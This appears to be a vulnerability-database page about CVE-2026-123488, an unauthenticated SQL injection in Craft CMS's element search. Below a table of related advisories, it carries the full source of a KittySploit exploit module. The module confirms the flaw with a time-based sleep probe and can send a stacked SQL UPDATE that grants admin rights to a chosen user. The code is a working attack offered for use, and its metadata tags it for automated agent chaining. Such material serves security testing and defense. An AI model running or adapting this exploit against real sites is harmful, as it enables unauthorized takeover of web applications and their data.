Craft CMS CVE-2026-123488 Element Search SQLi
| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| Exploit for CVE-2026-123488 | 6 Nov 202620:22 | – | githubexploit | |
| Exploit for CVE-2026-123488 | 8 Nov 202609:42 | – | githubexploit | |
| Exploit for CVE-2026-123488 | 9 Nov 202604:22 | – | githubexploit | |
| CVE-2026-123488 | 6 Nov 202615:17 | – | circl | |
| CVE-2026-123488 | 6 Nov 202615:00 | – | cve | |
| CVE-2026-123488 Craft CMS 4.0.0 before 4.18.9 SQL Injection via Element Search Endpoint | 6 Nov 202615:00 | – | cvelist | |
| EUVD-2026-118288 | 6 Nov 202615:00 | – | euvd | |
| Craft CMS CVE-2026-123488 SQLi Detect | 8 Nov 202610:08 | – | kittysploit | |
| CVE-2026-123488 | 6 Nov 202615:17 | – | nvd | |
| PT-2026-138058 | 6 Nov 202600:00 | – | ptsecurity |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Craft CMS CVE-2026-123488 unauthenticated element search SQLi."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.scanner.http.craftcms_element_search import (
craft_search_sqli_params,
craft_stacked_admin_payload,
probe_craft_element_search_sqli,
)
class Module(Exploit, Http_client):
__info__ = {
"name": "Craft CMS CVE-2026-123488 Element Search SQLi",
"description": (
"CVE-2026-123488: search[attribute] is interpolated into SQL on vulnerable Craft CMS "
"builds. check() uses a time-based oracle; run() is detect-only unless confirm=true, "
"which sends a stacked UPDATE to set admin=1 on the chosen users row (MySQL/MariaDB)."
),
"author": ["fixedbyreboot", "KittySploit Team"],
"cve": ["CVE-2026-123488"],
"platform": Platform.PHP,
"payload": {"default": "nopayload"},
"references": [
"https://nvd.nist.gov/vuln/detail/CVE-2026-123488",
"https://github.com/fixedbyreboot/CVE-2026-123488-POC",
],
"tags": ["craftcms", "sqli", "unauthenticated", "cve-2026-123488"],
"agent": {
"risk": "critical",
"effects": ["active_exploitation", "data_exfiltration"],
"expected_requests": 2,
"approval_required": True,
"produces": ["credentials", "exploit_paths", "risk_signals"],
"requires": {"tech_hints_any": ["craftcms", "craft"]},
"chain": {
"suggested_followups": [
"scanner/http/craftcms_cve_2026_123488_detect",
"scanner/http/craft_cms_detect",
],
},
},
}
search_path = OptString("/index.php", "Search endpoint path", required=False)
search_params = OptString("p=search", "Query string for search route", required=False)
time_delay = OptInteger(5, "sleep() seconds for check()", required=False, advanced=True)
users_table = OptString("users", "Users table name (with DB prefix if any)", required=False)
admin_user = OptString("admin", "Username for stacked admin=1 UPDATE", required=False)
confirm = OptBool(
False,
"Send stacked UPDATE to grant admin=1 (destructive; MySQL/MariaDB only)",
required=True,
)
def _search_path(self) -> str:
path = str(self.search_path or "/index.php").strip()
if not path.startswith("/"):
path = "/" + path
extra = str(self.search_params or "").strip().lstrip("?")
if extra and "?" not in path:
return f"{path}?{extra}"
if extra and "?" in path:
return f"{path}&{extra}"
return path
def _http_get(self, path, params=None, timeout=None):
return self.http_request(
method="GET",
path=path,
params=params,
timeout=timeout or int(self.time_delay or 5) + 20,
allow_redirects=True,
)
def check(self):
delay = int(self.time_delay or 5)
info = probe_craft_element_search_sqli(self._http_get, self._search_path(), delay=delay)
if info.get("error"):
return {"vulnerable": False, "reason": info["error"], "confidence": "low"}
if info.get("vulnerable"):
return {
"vulnerable": True,
"reason": f"Time-based delay {info.get('elapsed', 0):.1f}s",
"confidence": "high",
}
return {"vulnerable": False, "reason": "No time-based SQLi", "confidence": "medium"}
def run(self):
delay = int(self.time_delay or 5)
info = probe_craft_element_search_sqli(self._http_get, self._search_path(), delay=delay)
if not info.get("vulnerable"):
print_error(info.get("error") or "Not vulnerable / inconclusive")
self.not_vulnerable()
return False
print_success("CVE-2026-123488 time-based SQLi confirmed")
if not self.confirm:
print_status("Detect-only (confirm=true runs stacked UPDATE admin=1)")
self.set_info(severity="critical", cve="CVE-2026-123488", reason="Element search SQLi")
return True
payload = craft_stacked_admin_payload(
str(self.users_table or "users"),
str(self.admin_user or "admin"),
)
params = craft_search_sqli_params(payload)
response = self._http_get(self._search_path(), params=params)
if not response:
print_error("Stacked UPDATE request failed")
return False
user = str(self.admin_user or "admin")
print_success(f"Stacked UPDATE sent for user {user!r} — verify admin flag / CP login")
self.set_info(
severity="critical",
cve="CVE-2026-123488",
reason="Granted admin=1 via stacked SQL",
username=user,
table=str(self.users_table or "users"),
)
return True
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
08 Nov 2026 10:08Current
6Medium risk
Vulners AI Score6
CVSS 49.3
CVSS 3.19.8
EPSS0.00476